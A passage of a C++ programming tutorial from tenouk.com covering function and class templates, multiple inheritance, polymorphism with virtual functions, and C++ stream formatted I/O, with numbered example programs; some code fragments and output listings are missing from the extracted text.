their usage. This simple program just to illustrate the use of the parameterized type.
www.tenouk.com
13. int main(void)
14. {
15. int x = 10, y = -9;
16. float real = 3.1415;
17. char ch = 'C';
18.
19. cout<<"maximum("<<x<<", "<<y<<") = "<<maximum(x, y)<<"\n";
20. cout<<"maximum(-47, "<<y<<") = "<<maximum(-47,y)<<"\n";
21. cout<<"maximum("<<real<<", "<<float(y)<<") =
22. "<<maximum(real,float(y))<<"\n";
23. cout<<"maximum("<<real<<", "<<float(x)<<") =
24. "<<maximum(real,float(x))<<"\n";
25. cout<<"maximum("<<ch<<", "<<'A'<<") = "<<maximum(ch, 'A')<<"\n";
26.
27. system("pause");
28.
29. return 0;
30. }
30 Lines: Output:
- The template is given in lines 6 through 10 as shown below with the first line indicating that it is a
template with a single type to be replaced, the type ANY_TYPE.
//-----------template declaration-----------
template
<class ANY_TYPE> ANY_TYPE maximum(ANY_TYPE a, ANY_TYPE b)
{
return (a > b) ? a : b;
}
- This type can be replaced by any type which can be used in the comparison operation in line 9. If you
have defined a class, and you have overloaded the operator ">", then this template can be used with
objects of your class. Thus, you do not have to write a maximum function for each type or class in your
program.
- This function is included automatically for each type it is called with in the program, and the code itself
should be very easy to understand.
- You should realize that nearly the same effect can be achieved through the use of a macro, except that
when a macro is used, the strict type checking is not done. Because of this and because of the
availability of the inline method capability in C++, the use of macros is essentially been considered
non-existent by experienced programmers.
- The following program example named template2.cpp provides a template for an entire class
rather than a single function.
- The template code is given in lines 8 through 17 and actually it is an entire class definition.
1. //Class template
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. const int MAXSIZE = 128;
6.
7. //--------------------class template--------------------------
8. template <class ANY_TYPE> class stack
9. {
10. ANY_TYPE array[MAXSIZE];
11. int stack_pointer;
12. public:
13. stack(void) { stack_pointer = 0; };
www.tenouk.com
14. void push(ANY_TYPE input_data){ array[stack_pointer++] = input_data; };
15. ANY_TYPE pop(void) { return array[--stack_pointer]; };
16. int empty(void) { return (stack_pointer == 0); };
17. };
18.
19. char name[] = "Testing, this is an array, name[]";
20.
21. //---------------------main program---------------------------
22. int main(void)
23. {
24. int x = 30, y = -10;
25. float real = 4.2425;
26.
27. stack<int> int_stack;
28. stack<float> float_stack;
29. stack<char *> string_stack;
30.
31. //storing data
32. int_stack.push(x);
33. int_stack.push(y);
34. int_stack.push(67);
35.
36. float_stack.push(real);
37. float_stack.push(-20.473);
38. float_stack.push(107.03);
39.
40. string_stack.push("This is the first line of string");
41. string_stack.push("This is the second line of string");
42. string_stack.push("This is the third line of string");
43. string_stack.push(name);
44.
45. //displaying data
46. cout<<"---------------Displaying data--------------------\n";
47. cout<<"\nInteger stack\n";
48. cout<<"-------------\n";
49. cout<<"Access using int_stack.pop(), first time : "<<int_stack.pop()<<"\n";
50. cout<<"Access using int_stack.pop(), second time: "<<int_stack.pop()<<"\n";
51. cout<<"Access using int_stack.pop(), third time : "<<int_stack.pop()<<"\n";
52.
53. cout<<"\nFloat stack\n";
54. cout<<"-------------\n";
55. cout<<"Access using float_stack.pop(), first time :
56. "<<float_stack.pop()<<"\n";
57. cout<<"Access using float_stack.pop(), second time:
58. "<<float_stack.pop()<<"\n";
59. cout<<"Access using float_stack.pop(), third time :
60. "<<float_stack.pop()<<"\n";
61.
62. cout<<"\nString stack\n";
63. cout<<"-------------\n";
64. do
65. {
66. cout<<"Access using string_stack.pop(): "<<string_stack.pop()<<"\n";
67. } while (!string_stack.empty());
68.
69.
70. system("pause");
71. return 0;
72. }
72 Lines: Output:
www.tenouk.com
- In the main program we create an object named int_stack in line 27 which will be a stack designed
to store integers, and another object named float_stack in line 28 which is designed to store float
type values as shown below:
stack<int> int_stack;
stack<float> float_stack;
- In both cases, we enclose the type we desire this object to work with in "<>" brackets and the system
creates the object by first replacing all instances of ANY_TYPE with the desired type, then creating the
object of that type.
- You will note that any type can be used that has an assignment capability since lines 13 and 14 use the
assignment operator on the parameterized type. The assignment operator is used in line 14 because it
returns an object of that type which must be assigned to something in the calling program.
- Even though the strings are all of different lengths, we can even use the stack to store the strings if we
only store a pointer to the strings and not the entire string. This is illustrated in the object named
string_stack defined in line 29 and used later in the program.
- Compile and run this program and appreciate it :o).
- You will learn a lot more things about templates, the Standard Template Library in Tutorial #4.
- Let have program examples demonstrating the multi inheritance. The simple class hierarchy for this
program example is depicted below.
www.tenouk.com
protected:
char* EyeColor;
char* HairType;
double FamSaving;
int FamCar;
public:
MyFather(){}
~MyFather(){}
char* ShowEyeColor();
char* ShowHairType();
long double FamilySaving();
int FamilyCar();
};
public:
MyMother(){}
~MyMother(){}
char* ShowMotherEye();
char* ShowMotherHair();
int FamilyHouse();
};
public:
MySelf(){}
~MySelf(){}
char* ShowMyHair();
char* ShowMyEducation();
};
public:
MySister(){}
~MySister(){}
char* ShowSisEye();
float ShowSisAllownace();
};
char* MyFather::ShowHairType()
{return HairType = "Bald";}
int MyFather::FamilyCar()
{return FamCar = 4;}
char* MyMother::ShowMotherEye()
{return EyeColor = "Blue";}
char* MyMother::ShowMotherHair()
www.tenouk.com
{return HairType = "Curly Blonde";}
int MyMother::FamilyHouse()
{return FamHouse = 3;}
char* MySelf::ShowMyHair()
{return HairType = "Straight Black";}
char* MySelf::ShowMyEducation()
{return Education = "Post Graduate";}
char* MySister::ShowSisEye()
{return SisEye = "Black";}
float MySister::ShowSisAllownace()
{return MonAllowance = 1000.00;}
//-----------main program----------------------
int main()
{
//instantiate the objects...
MyFather ObjFat;
MyMother ObjMot;
MySelf ObjSelf;
MySister ObjSis;
system("pause");
return 0;
}
Output:
www.tenouk.com
//another simple multiple
//inheritance program example...
#include <iostream.h>
#include <stdlib.h>
int SampleFunctOne()
{return SampleDataOne;}
};
int SampleFunctTwo()
{return SampleDataTwo;}
};
//derived class...
class Derived1:public Base1,public Base2
{
int MyData;
public:
Derived1(){MyData = 300;}
www.tenouk.com
~Derived1(){}
int MyFunct()
{
//the protected data of the base classes are available
//for this derived class...
return (MyData + SampleDataOne + SampleDataTwo);
}
};
//-----------main program----------------------
int main()
{
//instantiate objects...
Base1 SampleObjOne;
Base2 SampleObjTwo;
Derived1 SampleObjThree;
system("pause");
return 0;
}
Output:
- You can try other simple examples of inheritance/multi inheritance and polymorphism (next Module) in
Typecasting Module.
- Example compiled using VC++/VC++ .Net.
//Program mulinher3.cpp
#include <iostream>
using namespace std;
double efficiency(void)
{ return(payload / (payload + weight)); };
www.tenouk.com
};
double total_weight(void)
//see, how to call different variables with same name
{
cout<<"\nCalling appropriate member variable\n";
cout<<"---->(moving_van::weight)+(driver::weight)\n";
cout<<"------------------------------------------\n";
return ((moving_van::weight) + (driver::weight));
};
};
Output:
www.tenouk.com
- Previous example compiled using g++.
//////- multiherit.cpp-/////////
//////-multi inheritance-///////
#include <iostream>
using namespace std;
public:
void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
};
float efficiency(void)
{return (payload / (payload + gross_weight));};
public:
//same method name as in moving van class.
void initialize(float pay) {hourly_pay = pay;};
float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
float cost_per_full_day(float overtime_premium) //number two
{return (7.0 * hourly_pay); };
};
//-----------------derived class----------------------------
//notice also the duplicated method names used
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};
www.tenouk.com
};
//-------------------main program---------------------------
int main()
{
driven_truck john_merc;
return 0;
}
1. Check the best selling C/C++ and object oriented books at Amazon.com.
2. Subjects, topics or books related to the following item:
3. Typecasting that discussed in Module 22 of this Tutorial extensively deals with Inheritance and Multi
inheritance.
www.tenouk.com
MODULE 17
POLYMORPHISM
Abilities
▪ Polymorphism concept.
▪ Virtual function.
▪ Late and early binding.
17.1 Introduction
- Polymorphism is a technique that allows you to set a base object equal to one or more of its derived
objects.
- The interesting thing about this technique is that, after the assignment, the base acts in different ways,
depending on the traits of the derived object that is currently assigned to it. The base object that acts in
many different ways, hence the name "polymorphism," which translates literally to "many form."
- Another way of looking at polymorphism: A base class defines a certain number of functions that are
inherited by all its descendants. If you assign a variable of the derived type to one of its base, all the
base's methods are guaranteed to be filled out with valid addresses of the pointers.
- The issue here is that the derived object, by the fact of its being a descendant object, must have valid
addresses for all the methods used in its base’s virtual method table (VMT). As a result, you can call
one of these methods and watch as the derived functions get called.
- However, you cannot call one of the derived methods that do not also belong to the base. The base
doesn't know about those methods, so the compiler won't let you call them. In other words, the base
may be able to call some of the derive functions, but it is still a variable of the base type.
- A virtual method table, or VMT, is a table maintained in memory by the compiler; it contains a list of all
the pointers to the virtual methods hosted by an object. If you have an object that is descended
from, let say, TObject, the VMT for that object will contain all the virtual methods of that object, plus
the virtual methods of TObject.
- If some of the methods in a base class are defined as virtual, each of the descendants can redefine
the implementation of these methods. The key elements that define a typical case of polymorphism are
a base class and the descendants that inherit a base class's methods. In particular, the fanciest type of
polymorphism involves virtual methods that are inherited from a base class.
- Examine the program example named poly1.cpp, the basic program that will be use for our
discussion in this Module. The last program in this Module will illustrate the proper use of virtual
functions.
1. //Program poly1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. void message(void) //first message()
13. {cout<<"Vehicle message, from vehicle, the base class\n";}
14. };
15.
16. //----derived class declaration and implementation part-----
17. class car : public vehicle
18. {
19. int passenger_load;
20. public:
21. void message(void) //second message()
22. {cout<<"Car message, from car, the vehicle derived class\n";}
23. };
24.
www.tenouk.com
25. class truck : public vehicle
26. {
27. int passenger_load;
28. float payload;
29. public:
30. int passengers(void) {return passenger_load;}
31. };
32.
33. class boat : public vehicle
34. {
35. int passenger_load;
36. public:
37. int passengers(void) {return passenger_load;}
38. void message(void) //third message()
39. {cout<<"Boat message, from boat, the vehicle derived class\n";}
40. };
41.
42. //------------the main program------------
43. int main()
44. {
45. vehicle unicycle;
46. car sedan_car;
47. truck trailer;
48. boat sailboat;
49.
50. unicycle.message();
51. sedan_car.message();
52. trailer.message();
53. sailboat.message();
54.
55. //base and derived object assignment
56. unicycle = sedan_car;
57. unicycle.message();
58.
59. system("pause”);
60. return 0;
61. }
61 Lines: Output:
- This program is greatly simplified in order to effectively show you the use of a virtual function. You
will notice that many of the methods from the last Module have been completely dropped from this
example for simplicity, and a new method has been added to the base class, the method named
message() in line 12 as shown below.
- Throughout this Module we will be studying the operation of the method named message() in the
base class and the derived classes. For that reason, there is another method named message() in the
derived car class and boat in lines 21 and 38 respectively as shown below:
- You will also notice that there is no method named message() in the truck class. This has been
done on purpose to illustrate the use of the virtual function/method. You will recall that the method
named message() from the base class is available in the truck class because the method from the
base class is inherited with the keyword public included in line 25 as shown below.
www.tenouk.com
- The main program is as simple as the classes; one object of each of the classes is defined in lines 45
through 48 as shown below.
vehicle unicycle;
car sedan_car;
truck trailer;
boat sailboat;
- And the method named message() is called once for each object. The output of this program
indicates that the method for each is called except for the object named trailer, which has no
method named message().
- The method named message() from the base class is called and the data output to the screen
indicates that this did happen.
- Line 56 as shown below indicates how the derived object has been assigned to the base object,
unicycle = sedan_car;
- And then calls the base object again in line 57 as shown below.
unicycle.message();
- We are not concern with the data, so all the data is allowed to the default private type and none is
inherited into the derived classes. Some of the data is left in the program example simply to make the
classes look like classes.
- The data could be removed since it is not used. Compile and run this program to see if your compiler
gives the same result of execution.
- Examine the next program example named poly2.cpp, you will notice that there is one small change
in line 12. The keyword virtual has been added to the declaration of the method named
message() in the base class.
1. //Program poly2.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. virtual void message(void)
13. //first message(), with virtual keyword
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
www.tenouk.com
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46. vehicle unicycle;
47. car sedan_car;
48. truck trailer;
49. boat sailboat;
50.
51. cout<<"Adding virtual keyword at the base class method\n";
52. cout<<"-----------------------------------------------\n";
53. unicycle.message();
54. sedan_car.message();
55. trailer.message();
56. sailboat.message();
57.
58. //unicycle = sedan_car;
59. //sedan_car.message();
60.
61. system("pause");
62. return 0;
63. }
63 Lines: Output:
- But this program operates no differently than the last program example. This is because we are using
objects directly and virtual methods have nothing to do with objects, only with pointers to objects as
we will see soon.
- There is an additional comment in line 59 and 60 as shown below:
//unicycle = sedan_car;
//sedan_car.message();
- Illustrating that since all four objects is of different classes, it is impossible to assign any object to any
other object in this program with different result. We will soon see that some pointer assignments are
permitted between objects of dissimilar classes.
- Compile and run this program example to see if your compiler results in the same output as shown.
- Examine the program example named poly3.cpp and you will find a repeat of the first program but
with a different main program.
1. //Program poly3.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. void message(void)
13. //first message()
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
www.tenouk.com
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46. vehicle *unicycle;
47. car *sedan_car;
48. truck *trailer;
49. boat *sailboat;
50.
51. cout<<"Omitting the virtual keyword. Using\n";
52. cout<<"pointer variables, and new keyword\n";
53. cout<<"-----------------------------------\n";
54.
55. unicycle = new vehicle;
56. unicycle->message();
57. sedan_car = new car;
58. sedan_car->message();
59. trailer = new truck;
60. trailer->message();
61. sailboat = new boat;
62. sailboat->message();
63.
64. unicycle = sedan_car;
65. unicycle->message();
66.
67.
68. system("pause");
69. return 0;
70. }
70 Lines: Output:
- In this program the keyword virtual has been removed from the method declaration in the base class
in line 12, and the main program defines pointers to the objects rather than defining the objects
themselves in lines 46 through 49 as shown below:
vehicle *unicycle;
car *sedan_car;
truck *trailer;
www.tenouk.com
boat *sailboat;
- Since we only defined pointers to the objects, we find it necessary to allocate the objects before using
them by using the new operator in lines 55, 57, 59 and 61 as shown below:
- Upon running the program, we find that even though we are using pointers to the objects, we have done
nothing different than what we did in the first program.
- The program operates in exactly the same manner as the first program example. This should not be
surprising because a pointer to a method can be used to operate on an object in the same manner as an
object can be directly manipulated.
- Be sure to compile and run this program before continuing on to the next program example. In this
program you will notice that we failed to check the allocation to see that it did allocate the objects
properly, and we also failed to de-allocate the objects prior to terminating the program.
- In such a simple program, it doesn't matter because the heap will be cleaned up automatically when we
return to the operating system.
- In real program development you have to implement this allocation checking and the de allocation. As
shown in the previous Module, if we do not de allocate, there will be garbage left.
- The program example named poly4.cpp is identical to the last program except for the addition of the
keyword virtual to line 12 once again.
1. //Program poly4.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. virtual void message(void)
13. //first message(), with virtual keyword
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
www.tenouk.com
44. int main() //main program
45. {
46. vehicle *unicycle;
47. car *sedan_car;
48. truck *trailer;
49. boat *sailboat;
50.
51. cout<<"Re add the virtual keyword. Using\n";
52. cout<<"pointer variables, and new keyword\n";
53. cout<<"-----------------------------------\n";
54.
55. unicycle = new vehicle;
56. unicycle->message();
57. sedan_car = new car;
58. sedan_car->message();
59. trailer = new truck;
60. trailer->message();
61. sailboat = new boat;
62. sailboat->message();
63.
64. unicycle = sedan_car;
65. unicycle->message();
66.
67. system("pause");
68. return 0;
69. }
69 Lines: Output:
- By including the keyword virtual, it is still identical to the last program. Once again we are simply
using pointers to each of the objects, and in every case the pointer is of the same type as the object to
which it points. You will begin to see some changes in the next program example.
- Please compile and run this program. The four previous programs were meant just to show to you in
what virtual functions do not do. The next two will show you what virtual functions do.
- Examine the program example named poly5.cpp where we almost use a virtual function. We are
almost ready to use a virtual method.
1. //Program poly5.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. void message(void)
13. //first message()
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
www.tenouk.com
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46.
47. cout<<"Omitting the virtual keyword. Using\n";
48. cout<<"pointer variables, new and\n";
49. cout<<"delete keyword\n";
50. cout<<"-----------------------------------\n";
51.
52. vehicle *unicycle;
53. unicycle = new vehicle;
54. unicycle->message();
55. delete unicycle;
56.
57. unicycle = new car;
58. unicycle->message();
59. delete unicycle;
60.
61. unicycle = new truck;
62. unicycle->message();
63. delete unicycle;
64.
65. unicycle = new boat;
66. unicycle->message();
67. delete unicycle;
68.
69. //unicycle = sedan_car;
70. //unicycle->message();
71.
72. system("pause");
73. return 0;
74. }
74 Lines: Output:
- The keyword virtual omitted again in line 12 and with a totally different main program. In this
program, we only define a single pointer to a class and the pointer is pointing to the base class of the
class hierarchy. We will use the single pointer to refer to each of the four classes and observe what the
output of the method named message() is.
www.tenouk.com
- If we referred to a vehicle (in the real world, not necessarily in this program), we could be referring to a
car, a truck, a motorcycle, or any other kinds of transportation, because we are referring to a very
general form of an object.
- If however, we were to refer to a car, we are excluding trucks, motorcycles, and all other kinds of
transportation, because we are referring to a car specifically. The more general term of vehicle can
therefore refer to a many kinds of vehicles, but the more specific term of car can only refer to a single
kind of vehicle, namely a car.
- We can apply the same thought process in C++ and say that if we have a pointer to a vehicle, we can
use that pointer to refer to any of the more specific objects whereas if we have a pointer to a car, we
cannot use that pointer to reference any of the other classes including the vehicle class because the
pointer to the car class is too specific and restricted to be used on any other classes.
- A pointer declared as pointing to a base class can be used to point to an object of a derived class of that
base class, but a pointer to a derived class cannot be used to point to an object of the base class or to
any of the other derived classes of the base class.
- In our program therefore, we are allowed to declare a pointer to the vehicle class which is the base
class, and use that pointer to refer to objects of the base class or any of the derived classes.
- This is exactly what we do in the main program. We define a single pointer which points to the
vehicle class and use it to point to objects of each of the classes in the same order as in the last four
programs. In each case, we allocate the object, send a message to the method named message() and
de-allocate the object before going on to the next class.
- You will notice that when we send the four messages, we are sending the message to the same method,
named message() which is a part of the vehicle base class. This is because the pointer has a class
associated with it. Even though the pointer is actually pointing to four different classes in this program,
the program acts as if the pointer is always pointing to an object of the base class because the pointer is
of the type of the base class.
- We finally come to a program example with a virtual function that operates as a virtual function and
exhibits dynamic binding or polymorphism as it is called.
1. //Program poly6.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. virtual void message(void)
13. //first message() method, with virtual keyword
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
www.tenouk.com
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46.
47. cout<<"Re add the virtual keyword. Using\n";
48. cout<<"pointer variables, new and\n";
49. cout<<"delete keyword\n";
50. cout<<"-----------------------------------\n";
51.
52. vehicle *unicycle;
53.
54. unicycle = new vehicle;
55. unicycle->message();
56. delete unicycle;
57. unicycle = new car;
58. unicycle->message();
59. delete unicycle;
60. unicycle = new truck;
61. unicycle->message();
62. delete unicycle;
63.
64. unicycle = new boat;
65. unicycle->message();
66. delete unicycle;
67.
68. cout<<"\nThe real virtual function huh!\n";
69.
70. system("pause");
71. return 0;
72. }
72 Lines: Output:
- This program poly6.cpp is identical to the last program example except that the keyword virtual
is added to line 12 to make the method named message() a virtual function. You will notice that the
keyword virtual only appears in the base class, all classes that derive this class will have the
corresponding method automatically declared virtual by the system.
- In this program, we use the single pointer to the base class and allocate, use, then delete an object of
each of the four available classes using the identical code we used in the last program. However,
because of the addition of the keyword virtual in line 12, this program acts entirely different from
the last program example.
- Since the method named message() is declared to be a virtual function in its declaration in the
base class, anytime we refer to this function with a pointer to the base class, we actually execute the
function associated with one of the derived classes. But this is true only if there is a function available
in the derived class and if the pointer is actually pointing to that derived class.
- When the program is executed, the output reflects the same output we saw in the other cases when we
were actually calling the methods in the derived classes, but now we are using a pointer of the base
class type to make the calls.
- You will notice that in lines 55, 58, 61, and 65, even though the code is identical in each line, the
system is making the decision of which method to actually call based on the type of the pointer when
each message is sent. The decision of which method to call is not made during the time when the
www.tenouk.com
code is compiled but when the code is executed. This is dynamic binding and can be very useful in
some programming situations.
- In fact, there are only three different calls made because the class named truck does not have a
method named message(), so the system simply uses the method from the base class to satisfy the
message passed.
- For this reason, a virtual function must have an implementation available in the base class which will
be used if one is not available in one or more of the derived classes. Note that the message is actually
sent to a pointer to the object.
- Notice that the structure of the virtual function in the base class and each of the derived classes is
identical. The return type and the number and types of the parameters must be identical for all
functions, since a single statement can be used to call any of them.
- If the keyword virtual is used, the system will use late binding (some call it dynamic Binding)
which is done at run time, but if the keyword is not included, early binding (some call it static binding)
will be used. What these words actually mean is that with late binding, the compiler does not know
which method will actually respond to the message because the type of the pointer is not known at
compile time. With early binding, however, the compiler decides at compile time what method will
respond to the message sent to the pointer.
- In real world, the example for the late binding is when the application program calling the dll
(dynamic link library) file(s) during the program execution. The dll files don’t have the main()
function and it can be called (shared) by many programs.
- Compile and run this program example.
public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}
};
//derived class...
class Rectangle:public Shape
{
//notice the same variable name, it is OK...
char* Color;
public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};
public:
Square(){ Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};
www.tenouk.com
char* Color;
public:
Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};
public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};
//-----------main program-----------
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;
//retest..
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;
www.tenouk.com
system("pause");
return 0;
}
Output:
- From the output, notice the memory address (virtual pointer) similarity and one of them has different
address.
- Program example compiled using VC++/VC++ .Net.
//Program poly6.cpp
#include <iostream>
using namespace std;
www.tenouk.com
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};
vehicle *unicycle;
return 0;
}
Output:
///////-polymorph.cpp-/////////
///////-polymorphic functions, virtual function-////////
///////-FEDORA 3, g++ x.x.x-///////
#include <iostream>
using namespace std;
public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}
www.tenouk.com
};
//derived class...
class Rectangle:public Shape
{
//notice the same variable name, it is OK...
char* Color;
public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};
public:
Square(){Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};
public:
Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};
public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};
//-----------main program-----------
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;
www.tenouk.com
cout<<"Shape color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
//deallocate, clean up...
delete VirtualPtr;
//retest...
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;
return 0;
}
1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.
2. Subjects, topics or books related to the following items:
www.tenouk.com
MODULE 18
C++ STREAM FORMATTED I/O
---------------------------------------------
MODULE 5
C FORMATTED I/O
Abilities
▪ To understand and use various member functions for C++ formatted I/O.
▪ To understand and use various stream manipulators for C++ formatted I/O.
- In Module 5 you have learned the formatted I/O in C by calling various standard functions. In this
Module we will discuss how this formatted I/O implemented in C++ by using member functions and
stream manipulators.
- If you have completed this Tutorial #3 until Module 17, you should be familiar with class object. In
C++ we will deal a lot with classes. It is readily available for us to use.
- We will only discuss the formatted I/O here, for file I/O and some of the member functions mentioned
in this Module, will be presented in another Module. The discussion here will be straight to the point
because some of the terms used in this Module have been discussed extensively in Module 5.
- The header files used for formatted I/O in C++ are:
- The compilers that fully comply with the C++ standard that use the template based header files won’t
need the .h extension. Please refer to Module 23 for more information.
- The iostream class hierarchy is shown below. From the base class ios, we have a derived class:
- So, iostream support both stream input and output. The class hierarchy is shown below.
www.tenouk.com
18.2 Left and Right Shift Operators
- We have used these operators in most of the Modules in this Tutorial for C++ codes.
- The left shift operator (<<) is overloaded to designate stream output and is called stream insertion
operator.
- The right shift operator (>>) is overloaded to designate stream input and is called stream extraction
operator.
- These operators used with the standard stream object (and with other user defined stream objects) is
listed below:
- For file processing C++ uses (will be discussed in another Module) the following classes:
void main(void)
{
cout<<"Welcome to C++ I/O module!!!"<<endl;
cout<<"Welcome to ";
cout<<"C++ module 18"<<endl;
//endl is end line stream manipulator
//issue a new line character and flushes the output buffer
//output buffer may be flushed by cout<<flush; command
system("pause");
}
Output:
www.tenouk.com
//concatenating <<
#include <stdlib.h>
//for system(), if compiled in some compiler
//such as Visual Studio, no need this stdlib.h
#include <iostream.h>
void main(void)
{
int p = 3, q = 10;
Output:
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
int p, q, r;
Output:
www.tenouk.com
- For the get() function, we have three versions.
1. get() without any arguments, input one character from the designated streams including
whitespace and returns this character as the value of the function call. It will return EOF when
end of file on the stream is encountered. For example:
cin.get();
2. get() with a character argument, inputs the next character from the input stream including
whitespace. It return false when end of file is encountered while returns a reference to the
istream object for which the get member function is being invoked. For example:
char ch;
...
cin.get(ch);
3. get() with three arguments, a character array, a size limit and a delimiter (default value
‘\n’). It reads characters from the input stream, up to one less than the specified maximum
number of characters and terminates or terminates as soon as the delimiter is read. For
example:
char namevar[30];
...
cin.get(namevar, 30);
//get up to 29 characters and inserts null
//at the end of the string stored in variable
//namevar. If a delimiter is found,
//the read terminates. The delimiter
//is left in the stream, not stored
//in the array.
4. getline() operates like the third get() and insert a null character after the line in the
character array. It removes the delimiter from the stream, but does not store it in the character
array.
- Program examples:
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
char p;
Output:
www.tenouk.com
//Another get() version
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
char bufferOne[SIZE], bufferTwo[SIZE];
Output:
//getline() example
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
char buffer[SIZE];
Output:
www.tenouk.com
- ignore() member function skips over a designated number of characters (default is one character) or
terminates upon encountering a designated delimiter (default is EOF). For example:
cin.ignore(20,’\n’);
//gets and discards up to 20 characters or until
//newline character whichever comes first.
